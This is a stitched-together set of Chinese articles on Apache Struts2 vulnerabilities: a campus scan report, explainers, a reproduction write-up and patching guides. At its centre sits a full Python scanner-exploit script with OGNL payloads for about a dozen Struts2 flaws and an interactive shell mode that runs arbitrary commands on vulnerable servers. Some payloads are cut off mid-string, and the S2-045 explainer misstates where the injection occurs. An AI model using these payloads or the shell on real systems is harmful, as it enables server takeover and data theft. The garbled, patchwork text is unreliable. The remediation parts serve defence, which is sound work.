Struts S2-045 漏洞调试及分析
Struts2漏洞测试书面报告
Struts2漏洞测试书⾯报告Struts2 漏洞测试报告信息化建设处2016年6⽉15⽇Struts2 漏洞测试报告0.前期⼯作准备前期的⼯作主要围绕以下⼏个⽅⾯进⾏:分析从2014年以来Struts2官⽅所披露的⼏个⾼危/重要漏洞的版本号、形成的原因、影响的范围以及修复的建议。
了解乌云知识库⾥对相关漏洞原理的分析对学校218和216⽹段的所有开启“Apache Tomcat/Coyote JSP”服务的IP进⾏扫描,并根据服务器所属的业务,对⽬标IP进⾏分类处理。
0.1Struts2重要漏洞的类型纵观2014年以来Struts2官⽅所披露的各种漏洞,归纳起来,主要有3种类型:“classLoader导致特定环境下的DOS漏洞”、“开启DMI导致的远程代码执⾏漏洞”和“使⽤REST插件导致的远程代码执⾏漏洞”。
本次测试根据此3种类型,选取具有代表性的⼏个重要漏洞进⾏分析。
S2-037[1]:2016年6⽉16⽇,乌云漏洞报告平台,报告了⼀份最新的S2-037漏洞(官⽅⽹站仍未正式更新)。
主要原因是使⽤REST插件导致的远程代码执⾏漏洞,受影响的版本号为2.3.20-2.3.28.1。
S2-032[2]:2016年4⽉21⽇Struts2官⽅发布S2-032漏洞,评级为⾼。
主要原因是在开启动态⽅法调⽤(Dynamic Method Invocation,DMI)的情况下,会被攻击者实现远程代码执⾏攻击,受影响的版本号为2.3.18-2.3.28 ( 2.3.20.2和2.3.24.2除外)。
S2-021/S2-020[3][4]:2014年左右频繁爆发的漏洞类型主要是“classLoader导致特定环境下的DOS漏洞”,受影响的版本号为2.0.0 - 2.3.16.1。
0.2Nmap扫描结果与分类在分析测试之前,由于没有218和216段服务器的相关资料,为了避免盲⽬地进⾏测试,因此,选⽤nmap⼯具,对218和216段(⼀共512个IP)进⾏扫描,从⽽得到所有开启“Apache Tomcat/Coyote JSP”服务的IP地址。
s2-045原理
s2-045原理
S2-045是Apache Struts 2框架中的一个安全漏洞,其原理是通过在URL请求中注入恶意代码,导致远程代码执行漏洞。
具体的原理包括以下几个步骤:
1. 用户发送一个恶意构造的URL请求,其中包含恶意代码。
2. 当Struts 2框架处理该请求时,会将URL参数解析为Struts 的Action参数,并进行相应的处理。
3. 在解析Action参数过程中发现一个特殊的注入点Ognl表达式(使用%{…}表示),Struts会将该表达式放入OGNL引擎中进行解析。
4. 恶意构造的表达式被解析后,可以调用Java的反射机制,实现任意代码执行。
5. 攻击者可以通过恶意代码执行各种操作,如执行系统命令、访问敏感数据等。
由于Struts 2框架在处理URL请求时没有对Action参数进行充分的验证和过滤,导致攻击者可以通过注入恶意代码实现远程代码执行,进而攻击服务器。
因此,S2-045被认为是一种严重的安全漏洞,需要及时修复和升级相关版本的Struts 2框架。
基于Struts(S2-048)漏洞的复现与分析
基于Struts(S2-048)漏洞的复现与分析作者:缪卓洁罗海波邹炜成洪家豪来源:《科学导报·学术》2019年第49期摘 ;要:文章介绍了 Struts 2.3.x 系列中 Struts2 -048 号漏洞的背景、漏洞影响、对于漏洞的分析和漏洞复现的操作示例。
为了了解在漏洞暴露而且被利用时对于企业利益的严重危害,本文通过在 Struts 2.3.x 系列其中的 Struts 2.3.32 的 showcase 应用中演示对 Struts2 整合 Struts1 的插件中存在一处任意代码执行漏洞的攻击行为并且从 Struts(Struts2-048)远程命令执行漏洞还原的过程中,分析出漏洞产生原因是由于启用了插件 struts2-struts1-plugin 而且在其插件内部(struts2-struts1-plugin-2.3.x.jar)中的代码存在不受信任的输入并传入到 ActionMessage 类中导致恶意命令执行的过程。
在漏洞问题下罗列出现有的解决方案,并简述其补救措施和其他相关技术概念。
从而表明了该漏洞的危害性和需尽快修复的紧急程度。
关键词:Struts2漏洞;Struts2;S2-048;OGNL;Webwork1 ;原理技术概要1.1 Webwork它是Struts系列的前身,来源于一个开源组织 opensymphony,且是从Xwork项目的基础上发展而来,Webwork简洁且功能强大,完全从web层脱离,它提供了包括前端拦截、表单属性验证、类型转换以及强大的表达式语言OGNL等核心功能。
Webwork在处理http请求和响应时使用Servlet Dispatcher将http请求转化为业务层、会话层和应用层范围的映射,请求参数映射为Webwork2支持的多视图表示,视图部分可以使用JSP、Velocity、Free Marker、Jasper Repots、XML等。
Strus2漏洞检查工具+Fiddler捉包工具=批量检查系统Struts漏洞问题
Strus2漏洞检查⼯具+Fiddler捉包⼯具=批量检查系统Struts漏洞问题第⼀种⽅法:使⽤⼯具第⼀步、安装Fiddler抓包⼯具,抓取系统的请求地址,并将其全部的请求地址导⼊到.txt⽂件中。
1.⾃定义请求规则,如图点击规则--》⾃定义规则,进⼊名称为CustomRules.js的记事本2.Ctrl+F搜索OnBeforeRequest函数,并找到3.设置条件:域名+请求地址后缀+地址保存的路径4.设置请求地址的过滤器,⽐如设置后缀,将URl包含有.do的requestURl显⽰出来,并⾃动保存进如上的 D盘的requestURL.txt⽂件中第⼆步、安装Struts2漏洞检查⼯具⽅法⼀、单个地址进⾏验证Struts漏洞⽅法⼆、批量进⾏验证Struts漏洞,1、点击【批量验证】菜单 --2、导⼊URL(Fiddler抓取的全部请求URL)--3、点击【开始】按钮第⼆种⽅法:使⽤python3编写的代码进⾏监测如下图所⽰:源代码如下:我copy的是python2格式的代码,需要进⾏加⼯⼀下以适应python3#!/usr/bin/env python# coding=utf-8# code by Lucifer# Date 2017/10/12import sysimport base64import warningsimport requestsfrom termcolor import cprintimport importlibimportlib.reload(sys)warnings.filterwarnings("ignore")headers = {"Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Content-Type":"application/x-www-form-urlencoded"}headers2 = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlU }headers3 = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlU }headers_052 = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Content-Type":"application/xml"}class struts_baseverify:def__init__(self, url):self.url = urlself.poc = {"ST2-005":base64.b64decode("KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dGlvb "ST2-009":'''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+ng.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40 "ST2-013":base64.b64decode("YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCduZXRzdGF0IC1hbicpLmdldEl "ST2-016":base64.b64decode("cmVkaXJlY3Q6JHslMjNyZXElM2QlMjNjb250ZXh0LmdldCglMjdjbyUyNyUyYiUyN20ub3BlbiUyNyUyYiUyN3N5bXBob255Lnh3byUyNyUyYiUyN3JrMi5kaXNwJTI3JTJiJTI3YXRjaGVyLkh0dHBTZXIlMjclMm "ST2-019":base64.b64decode("ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nlc3 "ST2-devmode":'''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@mons.io.IOUtils@ "ST2-032":'''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encodin "ST2-033":'''/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@mons.io.IOUtils@toString(@ng.Runtime@getRuntime().exec(%mand[0 "ST2-037":'''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@mons.io.IOUtils@toString(@java "ST2-045":"","ST2-052":'''<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.e }self.shell = {"struts2-005":base64.b64decode("KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dG "struts2-009":'''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+ng.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d% "struts2-013":base64.b64decode("YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCdGVVpaSU5HQ09NTUFORC "struts2-016":base64.b64decode("cmVkaXJlY3Q6JHslMjNyZXElM2QlMjNjb250ZXh0LmdldCglMjdjbyUyNyUyYiUyN20ub3BlbiUyNyUyYiUyN3N5bXBob255Lnh3byUyNyUyYiUyN3JrMi5kaXNwJTI3JTJiJTI3YXRjaGVyLkh0dHBTZXIlMjclM "struts2-019":base64.b64decode("ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nl "struts2-devmode":'''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@mons.io.IOUt "struts2-032":'''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.enco "struts2-033":'''/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@mons.io.IOUtils@toString(@ng.Runtime@getRuntime().exec(%man "struts2-037":'''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@mons.io.IOUtils@toString(@ja "struts2-045":"",}def check(self, pocname, vulnstr):if vulnstr.find("Active Internet connections") is not -1:cprint("⽬标存在" + pocname + "漏洞..[Linux]", "red")elif vulnstr.find("Active Connections") is not -1:cprint("⽬标存在" + pocname + "漏洞..[Windows]", "red")elif vulnstr.find("活动连接") is not -1:cprint("⽬标存在" + pocname + "漏洞..[Windows]", "red")elif vulnstr.find("LISTEN") is not -1:cprint("⽬标存在" + pocname + "漏洞..[未知OS]", "red")else:cprint("⽬标不存在" + pocname +"漏洞..", "green")def scan(self):cprint('''____ _ _ ____/ ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __\___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | ||____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|Code by Lucifer.''', 'cyan')cprint("-------检测struts2漏洞--------\n⽬标url:"+self.url, "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-005'], timeout=6, verify=False)self.check("struts2-005", req.text)except:cprint("检测struts2-005超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-009'], timeout=6, verify=False)self.check("struts2-009", req.text)except:cprint("检测struts2-009超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-013'], timeout=6, verify=False)self.check("struts2-013", req.text)except:cprint("检测struts2-013超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-016'], timeout=6, verify=False)self.check("struts2-016", req.text)except:cprint("检测struts2-016超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-019'], timeout=6, verify=False)self.check("struts2-019", req.text)except:cprint("检测struts2-019超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-devmode'], headers=headers, timeout=6, verify=False)self.check("struts2-devmode", req.text)except:cprint("检测struts2-devmode超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-032'], headers=headers, timeout=6, verify=False)self.check("struts2-032", req.text)except:cprint("检测struts2-032超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-033'], headers=headers, timeout=6, verify=False)self.check("struts2-033", req.text)except:cprint("检测struts2-033超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-037'], headers=headers, timeout=6, verify=False)self.check("struts2-037", req.text)except:cprint("检测struts2-037超时..", "cyan")try:req = requests.get(self.url, headers=headers2, timeout=6, verify=False)self.check("struts2-045", req.text)except:cprint("检测struts2-045超时..", "cyan")try:req = requests.post(self.url, data="", headers=headers3, timeout=6, verify=False)self.check("struts2-048", req.text)except:cprint("检测struts2-048超时..", "cyan")try:req1 = requests.get(self.url+"?class[%27classLoader%27][%27jarPath%27]=1", headers=headers, timeout=6, verify=False) req2 = requests.get(self.url+"?class[%27classLoader%27][%27resources%27]=1", headers=headers, timeout=6, verify=False) if req1.status_code == 200 and req2.status_code == 404:cprint("⽬标存在struts2-020漏洞..(只提供检测)", "red")else:cprint("⽬标不存在struts2-020漏洞..", "green")except:cprint("检测struts2-020超时..", "cyan")try:req = requests.post(self.url, data=self.poc['ST2-052'], headers=headers_052, timeout=6, verify=False) if req.status_code == 500 and r"java.security.Provider$Service"in req.text:cprint("⽬标存在struts2-052漏洞..(需使⽤其他⽅式利⽤)", "red")else:cprint("⽬标不存在struts2-052漏洞..", "green")except:cprint("检测struts2-052超时..", "cyan")def inShell(self, pocname):cprint('''____ _ _ ____/ ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __\___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | ||____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|Code by Lucifer.''', 'cyan')cprint("-------struts2 交互式shell--------\n⽬标url:"+self.url, "cyan")prompt = "shell >>"if pocname == "struts2-005":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-005'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-009":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-009'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-013":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-013'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-016":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-016'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-019":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-019'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-devmode":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-devmode'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-032":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-032'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-033":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-033'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-037":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-037'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-045":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":headers_exp = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.conta }try:req = requests.get(self.url, headers=headers_exp, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-048":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":headers_exp = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.conta }try:req = requests.post(self.url, data="", headers=headers_exp, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if__name__ == "__main__":try:if sys.argv[1] == "-f":with open(sys.argv[2]) as f:for line in f.readlines():line = line.strip()strutsVuln = struts_baseverify(line)strutsVuln.scan()elif sys.argv[1] == "-u"and sys.argv[3] == "-i":strutsVuln = struts_baseverify(sys.argv[2].strip())strutsVuln.inShell(sys.argv[4].strip())else:strutsVuln = struts_baseverify(sys.argv[1].strip())strutsVuln.scan()except Exception as e:figlet = '''____ _ _ ____/ ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __\___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | ||____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|Code by Lucifer.'''cprint(figlet,'cyan')print("Usage: python struts-scan.py /index.action 检测")print(" python struts-scan.py -u /index.action -i struts2-045 进⼊指定漏洞交互式shell")print(" python struts-scan.py -f url.txt 批量检测")拓展:Fiddler的⼯作原理Fiddler截获客户端浏览器发送给服务器的https请求的时候,此时还未建⽴连接(握⼿)。
Struts2系列漏洞起始篇
Struts2系列漏洞起始篇前⾔到⽬前位置struts2的漏洞编号已经到了S2-057,⼀直想系统的学习下Struts2的漏洞,但由于⼯作量较⼤,⼀直搁浅。
最近由于⼯作需要,借此机会来填下坑。
个⼈认为⼀个框架漏洞出来了仅仅看下别⼈分析的⽂章是远远不够,因为这些⽂章往往都只针对个别漏洞,可能框架中还存在类似的漏洞你依然发现不了。
所以我说需要系统的学习下,从框架的源码开始分析它的⼯作流程(当然这⾥我会有所取舍,全部都讲没意义),同时这样也会加深⾃⼰对该框架的理解,之后如果⼀个新的漏洞出来了,你可以仅根据官⽅的公告或变动的代码很简单地还原整个漏洞,同时这样做对代码审计也会有⼀定的帮助。
这是我struts2系列⽂章的第⼀篇,篇幅会⽐较长(实际上分析源码的地⽅我已经省了很多)。
之后我还会写spring、tomcat等系列的漏洞分析⽂章。
准备⼯作我使⽤的是eclipse+struts-core2.1.6,struts2的各版本是由些许区别的,但是⼤致流程都是相同的,这⾥采⽤较⽼的版本是因为S2早期的漏洞都可以在⾥⾯找到,⽅便分析。
Struts2的⼯作流程在原⽣的jsp+servlet项⽬中,常⽤会到Filter过滤器来过滤⼀些参数等等,这⾥struts2就是将⾃⼰的核⼼过滤器配置在web.xml中,这样可以让指定的HTTP请求都经过Struts2。
早期struts2的核⼼过滤器是FilterDispathcer (org.apache.struts2.dispatcher.FilterDispatcher),但是struts2>=2.1.3之后就变为了StrutsPrepareAndExecuteFilter,⽽StrutsPrepareAndExecuteFilter在配置的时候也经常会分开为StrutsPrepareFilter和StrutsExecuteFilter,这是⽅便开发者更加灵活的使⽤,配置信息如下:Filter的执⾏顺序是然配置顺序来的,所以这⾥我们先从StrutsPrepareFilter开始分析。
Struts2远程代码执行漏洞(S2-046)漏洞复现
Struts2远程代码执行漏洞(S2-046)漏洞复现漏洞复现继 3 月 7 日爆发的 S2-045 远程命令执行漏洞风波之后,今日 Struts2 官方发布另一个高危漏洞S2-046,CVE 编号依然是CVE-2017-5638,据官方披露,最新的漏洞与 S2-045 类似,只是攻击字段发生变化。
修复方案依然与S2-045 相同,升级至2.3.32 或者2.5.10.1 版本即可防御针对这两个漏洞攻击。
S2-046Struts2 是一个基于MVC 设计模式的Web 应用框架,它本质上相当于一个 servlet,在MVC 设计模式中,Struts2 作为控制器(Controller) 来建立模型与视图的数据交互。
Struts2 的使用范围及其广泛,国内外均有大量厂商使用该框架。
漏洞描述:据漏洞提交者纰漏,S2-046 的利用条件有以下三个方面:1、系统必须使用Jakarta 插件,检查Struts2 配置文件中是否有以下配置:<constant name =“struts.multipart.parser”value =“jakarta-stream”/>2、上传文件的大小(由Content-LSength 头指定)大于Struts2 允许的最大大小(2GB)3、文件名内容构造恶意的 OGNL 内容。
如果满足以上要求,Struts2 受影响版本将创建一个包含攻击者控制的异常文件名,使用 OGNL 值堆栈来定位错误消息,OGNL 值堆栈将插入任何 OGNL 变量($ {}或%{})作为 OGNL 表达式,然后实现任意代码执行。
目前网络上已披露出针对 S2-046 的 POC漏洞复现:我们在本地搭建环境进行测试:查看 Struts2 的配置文件,发现存在<constant name =“struts.multipart.parser”value =“jakarta-stream”/>Struts2 的配置文件下面进行网站上传测试,构造数据包如下,设定Content-LSength 值大于 2GB,并构造恶意文件名,如下图所示:构造数据包通过响应数据包可看到恶意代码成功执行,攻击成功,如下图所示:代码成功执行。
Struts2漏洞修复总结
Struts2漏洞修复总结Struts2的S2-016漏洞是之前⽐较重⼤的漏洞,也是⼀些⽼系统的历史遗留问题此漏洞影响struts2.0-struts2.3的所有版本,可直接导致服务器被远程控制从⽽引起数据泄漏,影响巨⼤漏洞修复总结有4种⽅式:1、升级版本这也是Apache官⽅给出的建议,把Struts2的版本升级到2.3.15以上的版本,这种⽅式只需要替换⼀些jar包,归纳如下:commons-lang3-3.2.jarfreemarker-2.3.22.jarjavassist-3.11.0.GA.jarognl-3.0.6.jarstruts2-core-2.3.24.jarstruts2-spring-plugin-2.3.24.jarxwork-core-2.3.24.jar只需要⽤上述jar包(版本可能会有差距)替换⽼系统中的旧版本jar包;但是这种⽅式存在⼀定的缺陷,如果系统⾮常复杂,可能会有版本不兼容,jar版本冲突,导致系统功能不能使⽤的情况;2、覆盖JAR包下载上述图⽚,把后缀名改为zip,把⾥⾯解压出来的三个⽂件夹添加到漏洞的系统的src⽬录下然后再web.xml⽂件中添加代码:<listener><listener-class>monweb.listener.MyServletContextListener</listener-class></listener>最后发布项⽬,重启服务器3、修改Struts2的源码找到项⽬中的struts2-core-2.2.3.jar,反编译得到源码,在eclipse中新建⼀个java项⽬,把反编译的源码导进去修改org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java这个⽂件中的handleSpecialParameters⽅法在while循环(for循环)中加⼊下⾯代码:1if (key.endsWith(".x") || key.endsWith(".y")) {2 key = key.substring(0, key.length() - 2);3 }保存,这个新项⽬可能会有错误,需要导⼊两个jar包,xwork-core-2.1.6.jar和servlet-api.jar把这个新项⽬导出成jar包,把下图中的7个类,替换掉原先struts2-core-2.2.3.jar中的7个类4、结合上⾯的第2和第3种⽅式还是需要⽤到struts2的源码,同第3步,反编译得到源码,导⼊到⼀个新的项⽬中下载第2步中的压缩包,解压之后得到三个⽂件,把这三个⽂件夹添加到新项⽬的 org\apache\struts2\dispatcher\mapper包中,如下图然后,再修改org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java这个⽂件中的handleSpecialParameters⽅法在while循环中加⼊如下代码:1if (JavaEEbugRepair.repair_s2_017(key)) {2return;3 }4if ((key.contains("action:")) || (key.contains("redirect:")) || (key.contains("redirectAction:"))) {5return;6 }保存,把新项⽬导出成jar包把原来jar中的7个类替换,加⼊新包repair,再把替换之后的jar复制到项⽬中,替换之前的jar包总结:以上4种⽅式基本能处理所有项⽬的S2-016漏洞;。
struts2漏洞解决方案
struts2漏洞解决方案对于Struts2漏洞的修复和预防是非常重要的,因为它可能导致严重的安全问题和系统遭受攻击。
在本文中,我们将介绍一些可行的解决方案和建议,以帮助您防范和修复Struts2漏洞。
1. 及时更新Struts2框架版本Struts2团队经常发布新版本来修复安全漏洞和其他bug。
您应该始终关注Struts2的官方网站,了解最新版本的发布情况,并尽快将您的应用程序升级到最新版本。
新版本通常会修复旧版本中存在的已知漏洞,并提供更好的安全性和稳定性。
2. 安全配置在您的Struts2应用程序中,您可以配置一些安全设置来增加系统的安全性。
例如,可以禁用用于开发和调试的Struts2调试模式,禁用动态方法调用,并且仅允许受信任的主机进行访问。
这些配置可以减少潜在的攻击面并增强您的应用程序的安全性。
3. 过滤用户输入用户输入是导致Struts2漏洞的常见来源之一。
为了避免潜在的安全问题,您应该始终对用户的输入数据进行有效的过滤和验证。
使用适当的输入验证和过滤技术,如正则表达式、白名单和黑名单等,可以防止常见的漏洞攻击,如SQL注入和跨站脚本攻击。
4. 使用安全框架或插件除了Struts2框架本身的安全性措施外,您还可以考虑使用安全框架或插件来增强您的应用程序的安全性。
例如,Apache Shiro是一个强大而灵活的安全框架,可以与Struts2无缝集成,并提供更高级的安全功能,如认证、授权和会话管理等。
5. 日志和监控为了及时发现和应对潜在的Struts2漏洞攻击,您应该启用详细的日志记录和监控机制。
定期审查日志记录,以便及早识别异常活动和攻击尝试。
同时,您还可以使用安全监控工具来实时监视您的应用程序,以便及时发现和应对任何安全威胁。
总结:通过及时更新Struts2框架版本、配置安全设置、过滤用户输入、使用安全框架或插件以及启用日志和监控机制,您可以有效地解决和预防Struts2漏洞。
在保障应用程序的安全性方面,持续的关注和努力非常重要。
Struts2多个漏洞简要分析-电脑资料
Struts2多个漏洞简要分析-电脑资料1月份,SEC Cousult发布了一篇关于struts2漏洞的文章,写到4个struts2的最新漏洞,。
一个漏洞可以做远程代码执行,一个漏洞引出了新的远程代码执行,一个漏洞曾经我在blog上发布过(没有投CVE),以及一个之前也曾看到过,但是认为是鸡肋的漏洞。
这篇文章题目叫做《Multiple critical vulnerabilities in Apache Struts2》四个漏洞,本文一个一个的讲一讲它们的前世今生。
Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator)新的远程代码执行漏洞,已经分析过它的利用和分析文章,具体地址在这里就不再多讲,我猜想或许就是因为这个漏洞被人爆了出来,才引出了老外发的这篇文章。
